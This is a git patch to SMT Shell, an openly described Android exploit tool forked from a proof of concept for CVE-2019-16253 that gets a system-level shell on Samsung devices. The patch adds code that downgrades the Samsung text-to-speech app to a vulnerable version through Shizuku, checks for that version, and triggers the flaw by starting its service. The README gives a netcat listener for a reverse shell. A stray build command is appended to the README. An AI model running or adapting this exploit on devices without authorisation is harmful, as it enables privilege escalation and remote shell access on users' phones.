From 7c8387c805d64aa1c1aec8ac3a2e0b2bb188b1c0 Mon Sep 17 00:00:00 2001 From: Chase Montgomery Date: Sun, 19 Mar 2023 01:15:02 -0400 Subject: [PATCH] added Shizuku support --- README.md | 28 ++- smtshell/.idea/compiler.xml | 2 +- smtshell/.idea/misc.xml | 2 +- smtshell/app/build.gradle | 9 +- smtshell/app/src/main/AndroidManifest.xml | 17 +- .../main/assets/com.samsung.SMT_v3.0.02.2.apk | Bin .../SMT/lang/smtshell/ConflictActivity.java | 76 ++++++++ .../SMT/lang/smtshell/ConflictUtil.java | 38 ++++ .../SMT/lang/smtshell/MainActivity.java | 164 ++++++++++++++---- .../samsung/SMT/lang/smtshell/SMTShell.java | 18 ++ .../shizuku/IIntentSenderCallback.java | 36 ++++ .../smtshell/shizuku/IntentSenderUtils.java | 15 ++ .../shizuku/PackageInstallerUtils.java | 120 +++++++++++++ .../shizuku/ShizukuSystemServerApi.java | 26 +++ .../SMT/lang/smtshell/shizuku/Singleton.java | 17 ++ .../src/main/res/layout/activity_conflict.xml | 22 +++ .../app/src/main/res/layout/activity_main.xml | 32 +++- smtshell/app/src/main/res/raw/raw.txt | 0 smtshell/app/src/main/res/values/strings.xml | 7 + 19 files changed, 573 insertions(+), 56 deletions(-) rename com.samsung.SMT_v3.0.02.2.apk => smtshell/app/src/main/assets/com.samsung.SMT_v3.0.02.2.apk (100%) create mode 100644 smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/ConflictActivity.java create mode 100644 smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/ConflictUtil.java create mode 100644 smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/SMTShell.java create mode 100644 smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/IIntentSenderCallback.java create mode 100644 smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/IntentSenderUtils.java create mode 100644 smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/PackageInstallerUtils.java create mode 100644 smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/ShizukuSystemServerApi.java create mode 100644 smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/Singleton.java create mode 100644 smtshell/app/src/main/res/layout/activity_conflict.xml create mode 100644 smtshell/app/src/main/res/raw/raw.txt diff --git a/README.md b/README.md index c371ecb..ff407ec 100644 --- a/README.md +++ b/README.md @@ -4,17 +4,23 @@ This tool allows most Samsung devices to achieve a `system` shell (UID 1000). It ## Usage -1. Downgrade the TTS app to the version provided in this repo (this must be done after every reboot). - `adb install -d ./com.samsung.SMT_v3.0.02.2.apk` -2. Run this command to wait for the reverse shell: - `adb shell nc -l -p 9999` -3. Install and open the `SMT Shell` app. +1. Downgrade the TTS app to the version provided in this repo (this must be done after every reboot). `adb install -d ./com.samsung.SMT_v3.0.02.2.apk` +2. Run this command to wait for the reverse shell: `adb shell nc -l -p 9999` +3. Install and open the `langpoc` app. -## Licence & Origin +## Licences & Origin -This project is a fork of [SMT-CVE-2019-16253](https://github.com/flankerhqd/vendor-android-cves/tree/master/SMT-CVE-2019-16253), created by flankerhqd (AKA flanker017). There is also a write-up by flanker [here](https://blog.flanker017.me/text-to-speech-speaks-pwned). Due to the original repo containing multiple unrelated projects, this fork's git history was rewritten using `git filter-repo` so that it only contains the relevant code (and no prebuilt artifacts). +This project started as a fork of [SMT-CVE-2019-16253](https://github.com/flankerhqd/vendor-android-cves/tree/master/SMT-CVE-2019-16253), created by flankerhqd (AKA flanker017). There is also a write-up by flanker [here](https://blog.flanker017.me/text-to-speech-speaks-pwned). Due to the original repo containing multiple unrelated projects, this fork's git history was rewritten using `git filter-repo` so that it only contains the relevant code (and no prebuilt artifacts). -This repo will continue to use the LGPL license that the original used when this fork was created. +This repo will continue to use the LGPL license that the original used when this fork was created. Other embedded components are licensed as follows: + +### Shizuku - Copyright (c) 2021 RikkaW + +Some code was copied or adapted from the [Shizuku API](https://github.com/RikkaApps/Shizuku-API) demo project, which is distributed under the MIT License. Primarily, this includes files in `smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku`, and the hidden API class stubs in `smtshell/hidden-api-stub`. A copy of the license can be found [here](https://github.com/RikkaApps/Shizuku-API/blob/master/LICENSE). + +### Samsung + +This project includes an unmodified Samsung APK, at `./smtshell/app/src/main/assets/com.samsung.SMT_v3.0.02.2.apk`. ### Changes from the original @@ -23,3 +29,9 @@ Please see the git commit history for a comprehensive list of changes. In brief: * Refactored nearly all the code * Replaced the reverse shell implementation * Updated dependencies and build system to latest versions + + +RUN git clone https://github.com/corellium/sud.git \ + && cd sud \ + && mkdir -p bin \ + && make CC=/root/sdk/ndk-bundle/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android29-clang \ No newline at end of file diff --git a/smtshell/.idea/compiler.xml b/smtshell/.idea/compiler.xml index fb7f4a8..1c5ab05 100644 --- a/smtshell/.idea/compiler.xml +++ b/smtshell/.idea/compiler.xml @@ -1,6 +1,6 @@ - + \ No newline at end of file diff --git a/smtshell/.idea/misc.xml b/smtshell/.idea/misc.xml index bdd9278..2052458 100644 --- a/smtshell/.idea/misc.xml +++ b/smtshell/.idea/misc.xml @@ -1,7 +1,7 @@ - + diff --git a/smtshell/app/build.gradle b/smtshell/app/build.gradle index 65bacf7..0fb9c10 100644 --- a/smtshell/app/build.gradle +++ b/smtshell/app/build.gradle @@ -4,10 +4,10 @@ android { compileSdkVersion 33 defaultConfig { applicationId "com.samsung.SMT.lang.smtshell" - minSdkVersion 14 // must be 22 or lower for the exploit to work + minSdkVersion 22 // must be 22 or lower for the exploit to work targetSdkVersion 33 - versionCode 2 - versionName "1.1" + versionCode 20230319 + versionName "1.2" testInstrumentationRunner 'androidx.test.runner.AndroidJUnitRunner' externalNativeBuild { ndkBuild { @@ -29,6 +29,9 @@ android { } dependencies { + implementation "dev.rikka.shizuku:api:13.1.0" + implementation "dev.rikka.shizuku:provider:13.1.0" + implementation 'org.lsposed.hiddenapibypass:hiddenapibypass:4.3' implementation 'androidx.constraintlayout:constraintlayout:2.1.4' implementation 'androidx.appcompat:appcompat:1.6.1' compileOnly project(':hidden-api-stub') diff --git a/smtshell/app/src/main/AndroidManifest.xml b/smtshell/app/src/main/AndroidManifest.xml index b81feb8..485c961 100644 --- a/smtshell/app/src/main/AndroidManifest.xml +++ b/smtshell/app/src/main/AndroidManifest.xml @@ -7,14 +7,17 @@ tools:ignore="QueryAllPackagesPermission" /> + + - @@ -23,6 +26,9 @@ + + + + + \ No newline at end of file diff --git a/com.samsung.SMT_v3.0.02.2.apk b/smtshell/app/src/main/assets/com.samsung.SMT_v3.0.02.2.apk similarity index 100% rename from com.samsung.SMT_v3.0.02.2.apk rename to smtshell/app/src/main/assets/com.samsung.SMT_v3.0.02.2.apk diff --git a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/ConflictActivity.java b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/ConflictActivity.java new file mode 100644 index 0000000..b264b1e --- /dev/null +++ b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/ConflictActivity.java @@ -0,0 +1,76 @@ +package com.samsung.SMT.lang.smtshell; + +import android.content.Intent; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.widget.ArrayAdapter; +import android.widget.ListView; +import android.widget.TextView; + +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.AppCompatActivity; + +import java.util.ArrayList; + +/** + * We need to keep the minSdkVersion at 22 or lower, so use @RequiresApi to use newer stuff. + * This only needs to support Android 9.0 (API 28) and higher anyway. + */ +@RequiresApi(api = Build.VERSION_CODES.N) +public class ConflictActivity extends AppCompatActivity { + + private TextView mTextView; + private ListView mListView; + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_conflict); + mTextView = findViewById(R.id.text); + mListView = findViewById(R.id.list); + if (resolvePackageConflicts()) { + launchMain(); + } + } + + /** + * This will fire when we get a response from an uninstall request. No need to check the + * requestCode or resultCode, since we only care about one result for now. + */ + @Override + protected void onActivityResult(int requestCode, int resultCode, Intent data) { + super.onActivityResult(requestCode, resultCode, data); + if (resolvePackageConflicts()) { + launchMain(); + } + } + + private void launchMain() { + Intent intent = new Intent(this, MainActivity.class); + // prevent annoying UX for user, if they tap back + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); + startActivity(intent); + } + + private boolean resolvePackageConflicts() { + ArrayList pkgs = ConflictUtil.getPackageConflicts(this); + + if (pkgs.size() > 0) { + mTextView.setText(R.string.app_conflict_prompt); + mListView.setAdapter(new ArrayAdapter<>(this, R.layout.pkg_item, pkgs)); + mListView.setOnItemClickListener((parent, view, position, id) -> { + String pkgName = pkgs.get(position); + Intent intent = new Intent(Intent.ACTION_DELETE); + intent.setData(Uri.parse("package:" + pkgName)); + startActivityForResult(intent, 0); + }); + return false; + } else { + mTextView.setText(R.string.no_conflicts); + mListView.setAdapter(null); + return true; + } + } + +} diff --git a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/ConflictUtil.java b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/ConflictUtil.java new file mode 100644 index 0000000..e4325dd --- /dev/null +++ b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/ConflictUtil.java @@ -0,0 +1,38 @@ +package com.samsung.SMT.lang.smtshell; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.net.Uri; +import android.os.Build; +import android.widget.ArrayAdapter; + +import androidx.annotation.RequiresApi; + +import java.util.ArrayList; +import java.util.stream.Collectors; + +/** + * We need to keep the minSdkVersion at 22 or lower, so use @RequiresApi to use newer stuff. + * This only needs to support Android 9.0 (API 28) and higher anyway. + */ +@RequiresApi(api = Build.VERSION_CODES.N) +public class ConflictUtil { + + public static ArrayList getPackageConflicts(Context context) { + ArrayList pkgs = context.getPackageManager() + .getInstalledPackages(PackageManager.MATCH_ALL) + .stream() + .map(packageInfo -> packageInfo.packageName) + .filter(pkgName -> pkgName.startsWith("com.samsung.SMT.lang")) + .filter(pkgName -> !pkgName.equals(context.getPackageName())) + .collect(Collectors.toCollection(ArrayList::new)); + + return pkgs; + } + + public static boolean hasConflicts(Context context) { + return getPackageConflicts(context).size() > 0; + } + +} diff --git a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/MainActivity.java b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/MainActivity.java index d481168..2fa5256 100644 --- a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/MainActivity.java +++ b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/MainActivity.java @@ -1,21 +1,24 @@ package com.samsung.SMT.lang.smtshell; +import android.annotation.SuppressLint; import android.content.ComponentName; import android.content.Intent; import android.content.pm.PackageManager; -import android.net.Uri; +import android.os.AsyncTask; import android.os.Build; import android.os.Bundle; -import android.widget.ArrayAdapter; -import android.widget.ListView; +import android.view.View; +import android.widget.Button; +import android.widget.ProgressBar; import android.widget.TextView; import android.widget.Toast; import androidx.annotation.RequiresApi; import androidx.appcompat.app.AppCompatActivity; -import java.util.ArrayList; -import java.util.stream.Collectors; +import com.samsung.SMT.lang.smtshell.shizuku.PackageInstallerUtils; + +import rikka.shizuku.Shizuku; /** * We need to keep the minSdkVersion at 22 or lower, so use @RequiresApi to use newer stuff. @@ -24,59 +27,144 @@ @RequiresApi(api = Build.VERSION_CODES.N) public class MainActivity extends AppCompatActivity { + private static final int REQUEST_CODE_SHIZUKU = 9000; + + private static final String TAG = "SMTShell"; + private TextView mTextView; - private ListView mListView; + private Button mExploitBtn; + private ProgressBar mSpinner; + + private void onShizukuRequestPermissionsResult(int requestCode, int grantResult) { + boolean granted = grantResult == PackageManager.PERMISSION_GRANTED; + if (granted) { + onReady(true); + } + } + + private boolean checkShizukuPermission() { + if (Shizuku.isPreV11()) { + // Pre-v11 is unsupported + return false; + } else if (Shizuku.checkSelfPermission() == PackageManager.PERMISSION_GRANTED) { + // Granted + return true; + } else if (Shizuku.shouldShowRequestPermissionRationale()) { + // Users choose "Deny and don't ask again" + return false; + } else { + // Request the permission + Shizuku.requestPermission(REQUEST_CODE_SHIZUKU); + return false; + } + } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); mTextView = findViewById(R.id.text); - mListView = findViewById(R.id.list); + mExploitBtn = findViewById(R.id.btn_exploit); + mSpinner = findViewById(R.id.indeterminateBar); } @Override protected void onStart() { super.onStart(); - maybeExploit(); + + if (ConflictUtil.hasConflicts(this)) { + Intent intent = new Intent(this, ConflictActivity.class); + // prevent annoying UX for user, if they tap back + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); + startActivity(intent); + return; + } + + onReady(false); + + Shizuku.addRequestPermissionResultListener(this::onShizukuRequestPermissionsResult); + // TODO Small inherent race condition here because addBinderReceivedListener doesn't get + // called if we already have the binder, so if we receive the binder right after ping, + // but before adding the listener, nothing will happen. + if (!Shizuku.pingBinder()) { + Shizuku.addBinderReceivedListener(() -> { + if (checkShizukuPermission()) { + onReady(true); + } + }); + } else { + if (checkShizukuPermission()) { + onReady(true); + } + } + } + + private void onReady(boolean shizuku) { + if (shizuku && !isVulnerableSMT()) { + mTextView.setText(R.string.downgrade_smt_prompt_shizuku); + mExploitBtn.setText(R.string.downgrade_smt); + mExploitBtn.setOnClickListener(v -> { + mExploitBtn.setEnabled(false); + mSpinner.setProgress(0); + mSpinner.setVisibility(View.VISIBLE); + AsyncTask.execute(() -> { + boolean success = downgradeSMT(); + runOnUiThread(() -> { + if (!success) { + Toast.makeText(this, "failed to downgrade!", Toast.LENGTH_SHORT).show(); + } + mSpinner.setVisibility(View.INVISIBLE); + onReady(true); + }); + }); + }); + } else if (!shizuku && !isVulnerableSMT()) { + mTextView.setText(R.string.downgrade_smt_prompt); + mExploitBtn.setText(R.string.proceed); + mExploitBtn.setOnClickListener(v -> { + // user might grant permission here + onReady(Shizuku.pingBinder()); + }); + } else { + mTextView.setText(R.string.exploit_prompt); + mExploitBtn.setText(R.string.exploit); + mExploitBtn.setOnClickListener(v -> { + exploit(); + Toast.makeText(this, "Exploit triggered!", Toast.LENGTH_SHORT).show(); + }); + } + mExploitBtn.setEnabled(true); } - /** - * This will fire when we get a response from an uninstall request. No need to check the - * requestCode or resultCode, since we only care about one result for now. - */ @Override - protected void onActivityResult(int requestCode, int resultCode, Intent data) { - super.onActivityResult(requestCode, resultCode, data); - maybeExploit(); + protected void onStop() { + super.onStop(); + Shizuku.removeRequestPermissionResultListener(this::onShizukuRequestPermissionsResult); } - private void maybeExploit() { - ArrayList pkgs = getPackageManager() - .getInstalledPackages(PackageManager.MATCH_ALL) - .stream() - .map(packageInfo -> packageInfo.packageName) - .filter(pkgName -> pkgName.startsWith("com.samsung.SMT.lang")) - .filter(pkgName -> !pkgName.equals(getPackageName())) - .collect(Collectors.toCollection(ArrayList::new)); - - if (pkgs.size() > 0) { - mTextView.setText(R.string.app_conflict_prompt); - mListView.setAdapter(new ArrayAdapter<>(this, R.layout.pkg_item, pkgs)); - mListView.setOnItemClickListener((parent, view, position, id) -> { - String pkgName = pkgs.get(position); - Intent intent = new Intent(Intent.ACTION_DELETE); - intent.setData(Uri.parse("package:" + pkgName)); - startActivityForResult(intent, 0); - }); + boolean downgradeSMT() { + if (!isVulnerableSMT()) { + return PackageInstallerUtils.installApkFromAssets(this, "com.samsung.SMT_v3.0.02.2.apk"); } else { - mTextView.setText(R.string.no_conflicts); - mListView.setAdapter(null); + return true; + } + } - Intent intent = new Intent(); - intent.setComponent(new ComponentName("com.samsung.SMT", "com.samsung.SMT.SamsungTTSService")); - startService(intent); + boolean isVulnerableSMT() { + try { + int versionCode = getPackageManager() + .getPackageInfo("com.samsung.SMT", PackageManager.GET_META_DATA) + .versionCode; + return (300200002 == versionCode); + } catch (PackageManager.NameNotFoundException e) { + return false; } } + private void exploit() { + Intent intent = new Intent(); + intent.setComponent(new ComponentName("com.samsung.SMT", "com.samsung.SMT.SamsungTTSService")); + startService(intent); + } + } diff --git a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/SMTShell.java b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/SMTShell.java new file mode 100644 index 0000000..47438ac --- /dev/null +++ b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/SMTShell.java @@ -0,0 +1,18 @@ +package com.samsung.SMT.lang.smtshell; + +import android.app.Application; +import android.os.Build; + +import org.lsposed.hiddenapibypass.HiddenApiBypass; + +public class SMTShell extends Application { + + @Override + public void onCreate() { + super.onCreate(); + // enable hidden API access (required for some Shizuku APIs to work correctly) + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) { + HiddenApiBypass.addHiddenApiExemptions(""); + } + } +} diff --git a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/IIntentSenderCallback.java b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/IIntentSenderCallback.java new file mode 100644 index 0000000..126efd3 --- /dev/null +++ b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/IIntentSenderCallback.java @@ -0,0 +1,36 @@ +package com.samsung.SMT.lang.smtshell.shizuku; + +import android.content.IIntentReceiver; +import android.content.IIntentSender; +import android.content.Intent; +import android.os.Bundle; +import android.os.IBinder; + +import java.util.concurrent.CountDownLatch; + +public class IIntentSenderCallback extends IIntentSender.Stub { + + private final CountDownLatch mLatch = new CountDownLatch(1); + private Intent mResult; + + @Override + public int send(int code, Intent intent, String resolvedType, IIntentReceiver finishedReceiver, String requiredPermission, Bundle options) { + setResult(intent); + return 0; + } + + @Override + public void send(int code, Intent intent, String resolvedType, IBinder whitelistToken, IIntentReceiver finishedReceiver, String requiredPermission, Bundle options) { + setResult(intent); + } + + void setResult(Intent intent) { + mResult = intent; + mLatch.countDown(); + } + + public Intent getResult() throws InterruptedException { + mLatch.await(); + return mResult; + } +} diff --git a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/IntentSenderUtils.java b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/IntentSenderUtils.java new file mode 100644 index 0000000..6d0f1d3 --- /dev/null +++ b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/IntentSenderUtils.java @@ -0,0 +1,15 @@ +package com.samsung.SMT.lang.smtshell.shizuku; + +import android.content.IIntentSender; +import android.content.IntentSender; + +import java.lang.reflect.InvocationTargetException; + +@SuppressWarnings("JavaReflectionMemberAccess") +public class IntentSenderUtils { + + public static IntentSender newInstance(IIntentSender binder) throws NoSuchMethodException, + IllegalAccessException, InvocationTargetException, InstantiationException { + return IntentSender.class.getConstructor(IIntentSender.class).newInstance(binder); + } +} diff --git a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/PackageInstallerUtils.java b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/PackageInstallerUtils.java new file mode 100644 index 0000000..d8204ad --- /dev/null +++ b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/PackageInstallerUtils.java @@ -0,0 +1,120 @@ +package com.samsung.SMT.lang.smtshell.shizuku; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.Intent; +import android.content.IntentSender; +import android.content.pm.IPackageInstaller; +import android.content.pm.IPackageInstallerSession; +import android.content.pm.PackageInstaller; +import android.content.pm.PackageManager; +import android.os.Build; +import android.os.RemoteException; +import android.util.Log; + +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.reflect.InvocationTargetException; + +import rikka.shizuku.ShizukuBinderWrapper; + +@SuppressWarnings({"JavaReflectionMemberAccess", "ConstantConditions"}) +@SuppressLint("PrivateApi") +public class PackageInstallerUtils { + + private static final String TAG = PackageInstallerUtils.class.getSimpleName(); + + public static PackageInstaller createPackageInstaller(Context context, IPackageInstaller installer, String installerPackageName, String installerAttributionTag, int userId) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { + Context appContext = context.getApplicationContext(); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) { + return PackageInstaller.class.getConstructor(IPackageInstaller.class, String.class, String.class, int.class) + .newInstance(installer, installerPackageName, installerAttributionTag, userId); + } else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + return PackageInstaller.class.getConstructor(IPackageInstaller.class, String.class, int.class) + .newInstance(installer, installerPackageName, userId); + } else { + return PackageInstaller.class.getConstructor(Context.class, PackageManager.class, IPackageInstaller.class, String.class, int.class) + .newInstance(appContext, appContext.getPackageManager(), installer, installerPackageName, userId); + } + } + + public static PackageInstaller.Session createSession(IPackageInstallerSession session) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { + return PackageInstaller.Session.class.getConstructor(IPackageInstallerSession.class) + .newInstance(session); + + } + + public static int getInstallFlags(PackageInstaller.SessionParams params) throws NoSuchFieldException, IllegalAccessException { + return (int) PackageInstaller.SessionParams.class.getDeclaredField("installFlags").get(params); + } + + public static void setInstallFlags(PackageInstaller.SessionParams params, int newValue) throws NoSuchFieldException, IllegalAccessException { + PackageInstaller.SessionParams.class.getDeclaredField("installFlags").set(params, newValue); + } + + @SuppressWarnings({"ConstantConditions", "JavaReflectionMemberAccess"}) + public static boolean installApkFromAssets(Context context, String apkName) { + Context appContext = context.getApplicationContext(); + try { + IPackageInstaller _packageInstaller = ShizukuSystemServerApi.getPackageInstaller(); + + String installerAttributionTag = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) { + installerAttributionTag = context.getAttributionTag(); + } + PackageInstaller packageInstaller = PackageInstallerUtils.createPackageInstaller( + appContext, _packageInstaller, "com.android.shell", installerAttributionTag, 0); + + PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL); + int installFlags = PackageInstallerUtils.getInstallFlags(params); + installFlags |= (int) PackageManager.class.getField("INSTALL_REPLACE_EXISTING").get(null); + installFlags |= (int) PackageManager.class.getField("INSTALL_REQUEST_DOWNGRADE").get(null); + PackageInstallerUtils.setInstallFlags(params, installFlags); + + int sessionId = packageInstaller.createSession(params); + + Log.i(TAG, "createSession: " + sessionId); + + IPackageInstallerSession _session = IPackageInstallerSession.Stub.asInterface(new ShizukuBinderWrapper(_packageInstaller.openSession(sessionId).asBinder())); + + + // capture result of install + IIntentSenderCallback resultsHook = new IIntentSenderCallback(); + + try ( + InputStream is = appContext.getAssets().open(apkName); + PackageInstaller.Session session = PackageInstallerUtils.createSession(_session); + ) { + // the output stream needs to be closed before calling session.commit(), + // otherwise we get a security exception + try (OutputStream os = session.openWrite("foo.apk", 0, -1)) { + // write the APK into the install session stream + byte[] buf = new byte[8192]; + int len; + while ((len = is.read(buf)) > 0) { + os.write(buf, 0, len); + os.flush(); + session.fsync(os); + } + } + + // commit session with hook + IntentSender intentSender = IntentSenderUtils.newInstance(resultsHook); + session.commit(intentSender); + } + + Intent result = resultsHook.getResult(); + int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS, PackageInstaller.STATUS_FAILURE); + String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE); + Log.i(TAG, String.format("status: %d (%s)", status, message)); + + return (0 == status); + } catch (IOException | NoSuchMethodException | IllegalAccessException | + InvocationTargetException | InstantiationException | NoSuchFieldException | + RemoteException | InterruptedException e) { + Log.e(TAG, "failed to install APK", e); + return false; + } + } +} diff --git a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/ShizukuSystemServerApi.java b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/ShizukuSystemServerApi.java new file mode 100644 index 0000000..8f417d3 --- /dev/null +++ b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/ShizukuSystemServerApi.java @@ -0,0 +1,26 @@ +package com.samsung.SMT.lang.smtshell.shizuku; + +import android.annotation.SuppressLint; +import android.content.pm.IPackageInstaller; +import android.content.pm.IPackageManager; +import android.os.RemoteException; + +import rikka.shizuku.ShizukuBinderWrapper; +import rikka.shizuku.SystemServiceHelper; + +@SuppressLint("NewApi") +public class ShizukuSystemServerApi { + + private static final Singleton PACKAGE_MANAGER = new Singleton() { + @Override + protected IPackageManager create() { + return IPackageManager.Stub.asInterface(new ShizukuBinderWrapper(SystemServiceHelper.getSystemService("package"))); + } + }; + + public static IPackageInstaller getPackageInstaller() throws RemoteException { + IPackageInstaller packageInstaller = PACKAGE_MANAGER.get().getPackageInstaller(); + return IPackageInstaller.Stub.asInterface(new ShizukuBinderWrapper(packageInstaller.asBinder())); + } + +} diff --git a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/Singleton.java b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/Singleton.java new file mode 100644 index 0000000..d6203b3 --- /dev/null +++ b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/Singleton.java @@ -0,0 +1,17 @@ +package com.samsung.SMT.lang.smtshell.shizuku; + +public abstract class Singleton { + + private T mInstance; + + protected abstract T create(); + + public final T get() { + synchronized (this) { + if (mInstance == null) { + mInstance = create(); + } + return mInstance; + } + } +} diff --git a/smtshell/app/src/main/res/layout/activity_conflict.xml b/smtshell/app/src/main/res/layout/activity_conflict.xml new file mode 100644 index 0000000..c153c9e --- /dev/null +++ b/smtshell/app/src/main/res/layout/activity_conflict.xml @@ -0,0 +1,22 @@ + + + + + + + + \ No newline at end of file diff --git a/smtshell/app/src/main/res/layout/activity_main.xml b/smtshell/app/src/main/res/layout/activity_main.xml index 24ec986..c34ac2e 100644 --- a/smtshell/app/src/main/res/layout/activity_main.xml +++ b/smtshell/app/src/main/res/layout/activity_main.xml @@ -8,15 +8,39 @@ android:gravity="center" tools:context=".MainActivity"> + + + + + + + android:text="@string/exploit_prompt" /> + +